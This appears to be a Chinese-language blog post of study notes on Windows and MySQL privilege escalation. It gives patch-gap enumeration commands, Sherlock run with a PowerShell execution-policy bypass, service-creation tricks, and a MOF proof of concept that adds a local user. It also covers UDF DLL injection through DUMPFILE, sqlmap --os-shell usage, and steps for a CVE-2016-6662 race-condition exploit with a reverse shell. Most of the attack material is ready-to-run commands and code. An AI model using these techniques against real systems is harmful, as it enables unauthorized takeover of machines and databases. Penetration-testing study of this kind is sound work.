windows提权

windows提权

信息收集

收集内容包括:操作系统信息、补丁情况、安装软件的情况、安装防护软件情况、端口开放情况

systeminfo

hostname //主机名

set //环境变量

net user //用户

tasklist /svc //查看服务和pid /svc查看进程中的服务

image-20210411155412193

netstat -ano //查看开放端口

wmic os get caption //查看系统

image-20210411155308477

wmic qfe get description,hotfixid,installedon // 手工查看补丁情况

image-20210411155343464

wmic product get name,version //当前安装应用程序

ipconfig /displaydns //dns记录

route print //路由表

arp -a //arp表

netsh firewall show state //防火墙配置

image-20210424121458822

net start // 查看启动的服务

image-20210424124309685


系统内核溢出漏洞提权

漏洞扫描

命令行查看

systeminfo>sysinfo.txt&(for %i in ( KB4013389 KB3199135 KB3186973 KB3178466 KB3164038 KB3143145 KB3143141 KB3136041 K3134228 KB3089656 KB3067505 KB3077657 KB3057839 KB3057191 KB3031432 KB3036220 KB3023266 KB2989935 KB3011780 KB3000061 KB2992611 KB2975684 KB2914368 KB2850851 KB2840221 KB2778930 KB2972621 KB2671387 KB2592799 KB2566454 KB2503665 KB2393802 KB2305420 KB2267960 KB982799 KB2160329 KB977165 KB971468 KB975517 KB970483 KB959454 KB957097 KB958644 KB956803 KB941693 KB921883 KB899588 KB823980 ) do @type sysinfo.txt|@find /i "%i"|| @echo %i can crack)&del /f /q /a sysinfo.txt

systeminfo>sysinfo.txt  //获取系统信息
&
(for %i in ( KB4013389 KB3199135 KB3186973 KB3178466 KB3164038 KB3143145 KB3143141 KB3136041 K3134228 KB3089656 KB3067505 KB3077657 KB3057839 KB3057191 KB3031432 KB3036220 KB3023266 KB2989935 KB3011780 KB3000061 KB2992611 KB2975684 KB2914368 KB2850851 KB2840221 KB2778930 KB2972621 KB2671387 KB2592799 KB2566454 KB2503665 KB2393802 KB2305420 KB2267960 KB982799 KB2160329 KB977165 KB971468 KB975517 KB970483 KB959454 KB957097 KB958644 KB956803 KB941693 KB921883 KB899588 KB823980 )  //循环 KBxxxx 自行填写
do @type sysinfo.txt|@find /i "%i"   //将sysinfo.txt 传入find指令, 查看是否存在
|| 
@echo %i can crack)  //不存在补丁则意味着可以利用
&
del /f /q /a sysinfo.txt   //彻底清楚文件

wmic qfe get description,hotfixid,installedon // 手工查看补丁


Windows Exploit Suggester

一个python3.3以下运行的文件,用来查找提权EXP

用法

systeminfo > exploit.txt    //导出系统信息
python windows-exploit-suggester.py --update   //去微软漏洞库下载漏洞表
python windows-exploit-suggester.py -d 2020-11-04-mssb.xls -i exploit.txt  //对比,检查系统中未修复的漏洞

image-20210423165944160


Sherlock

powershell 下运行脚本 查看本地提权漏洞

powershell.exe -exec bypass   //执行后再执行后两句
Import-Module ./Sherlock.ps1 
Find-AllVulns

image-20210412232426586

Pr.exe提权 CVE-2009-0079

用法:pr.exe "whoami"

iis6.exe提权 CVE-2009-1535

WinSystemHelper

用法:上传txt和bat文件,运行bat

image-20210412221012145

其他方式提权

at计划任务提权

直接用at设置一个计划任务反弹回一个cmd.exe 反弹的cmd自动为system权限,限于win ser 2003以下

image-20210424124924728

sc创建服务

sc  Create syscmd binPath= "cmd /K start" type= own type= interact

sc start syscmd

image-20210424125533521

MySQL提权

MOF写入提权


mof提权漏洞比较老,条件如下

  • win ser 2003以下才可以利用

  • mysql在C:/Windows/system32/wbem/mof/ 下有写权限,需要利用sql注入写入

原理:MOF是mysql的拓展文件在C:/Windows/system32/wbem/mof/目录下,叫做“托管对象格式”,其作用是每隔五秒就会去监控进程创建和死亡

利用方式

select load_file("E:/test.mof") into dumpfile "c:/windows/system32/wbem/mof/test.mof  
// 在本地先编辑好test.mof文件,利用into dumpfile 写入指定路径
// 不用into outfile 用outfile这个二进制可执行文件就会被破坏

POC

#pragma namespace("\\.\root\subscription")
instance of __EventFilter as $EventFilter
{
	EventNamespace = "Root\Cimv2";
	Name = "filtP2";
	Query = "Select * From __InstanceModificationEvent "
			"Where TargetInstance Isa "Win32_LocalTime" "
			"And TargetInstance.Second = 5";
			QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
	Name = "consPCSV2";ScriptingEngine = "JScript";
	ScriptText =
	"var WSH = new ActiveXObject("WScript.Shell")nWSH.run("net.exe user test 123456 /add")";  
	//在这个修改执行的命令
};
instance of __FilterToConsumerBinding
{
	Consumer = $Consumer;
	Filter = $EventFilter;
};

清理方式

# 停止 winmgmt 服务
net stop winmgmt
# 删除 Repository 文件夹
rmdir /s /q C:\Windows\system32\wbem\Repository\
# 手动删除 mof 文件
del C:\Windows\system32\wbem\mof\good\test.mof /F /S
# 删除创建的用户
net user hacker /delete
# 重新启动服务
net start winmgmt

可以搭建mof.php 的界面来看回显信息

也可以用msf模块exploit/windows/mysql/mysql_mof利用

image-20210424234036885

UDF提权

UDF是user define function 用户自定义函数,通过增加新函数,对mysql功能进行拓展

在mysql5.1以后的版本,这个udf在/mysql/lib/plugin目录下

在udf中,我定义了名为sys_eval的mysql函数,可以执行系统任意命令。如果我现在就打开mysql命令行,使用select sys_eval('dir');的话,系统会返回sys_eval()函数未定义。因为我们仅仅是把‘udf.dll’放到了某个文件夹里,并没有引入。类似于面向对象编程时引入包一样,如果没有引入包,那么这个包里的类你是用不了的。

引入语法

create function sys_eval returns string soname 'udf.dll'

udf.dll获取方式

  • metasploit

image-20210425000013465

  • sqlmap
  • 网上直接下载转码好的

利用思路

  1. 利用已经拿到的sql注入等能够有往磁盘写入权限的漏洞,往指定位置写入udf.dll
  2. 然后在mysql命令行或者工具下 从udf.dll引入自定义函数
  3. 最后执行自定义函数 执行系统命令、

获取mysql根目录和plugin目录

导入路径

  • mysql < 5.0,导出路径随意。
  • 5.0 <= mysql < 5.1,udf.dll 则需要导出至目标服务器的系统目录 (如:c:/windows/system32/)
  • mysql > 5.1,udf.dll 必须要把udf.dll文件放到MySQL安装目录下的lib\plugin文件夹下才能创建自定义函数。

导入文件方式

  1. 将udf.dll转成16进制

    SELECT 0x7f454c4602... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';
    

image-20210425112352724

image-20210425112838225

sqlmap利用

sqlmap -d "mysql://root:root@192.168.91.131:3306/mysql" --sql-shell
sqlmap -d "mysql://root:root@192.168.91.131:3306/mysql" --os-shell

image-20210425114202709

image-20210425114318933

CVE-2016-6662 6663 6664提权

竞争条件提权漏洞,一个拥有 CREATE/INSERT/SELECT 低权限的账户提权成功后可以系统用户身份执行任意代码,提权的用户为 mysql 用户,概括一下就是将低权限的 www-data 权限提升为 mysql 权限

利用步骤

  1. 在目标机器写入EXP mysql-privesc-race.c

  2. 本地nc监听 反弹shell 后 在目标机器编译c文件

    gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient

  3. 然后执行EXP

    ./mysql-privesc-race test 123456 localhost test

然后获取权限后配合CVE-2016-6662 和 CVE-2016-6664提升到root

posted @ 2021-07-10 14:56  cjz12138  阅读(223)  评论(0编辑  收藏  举报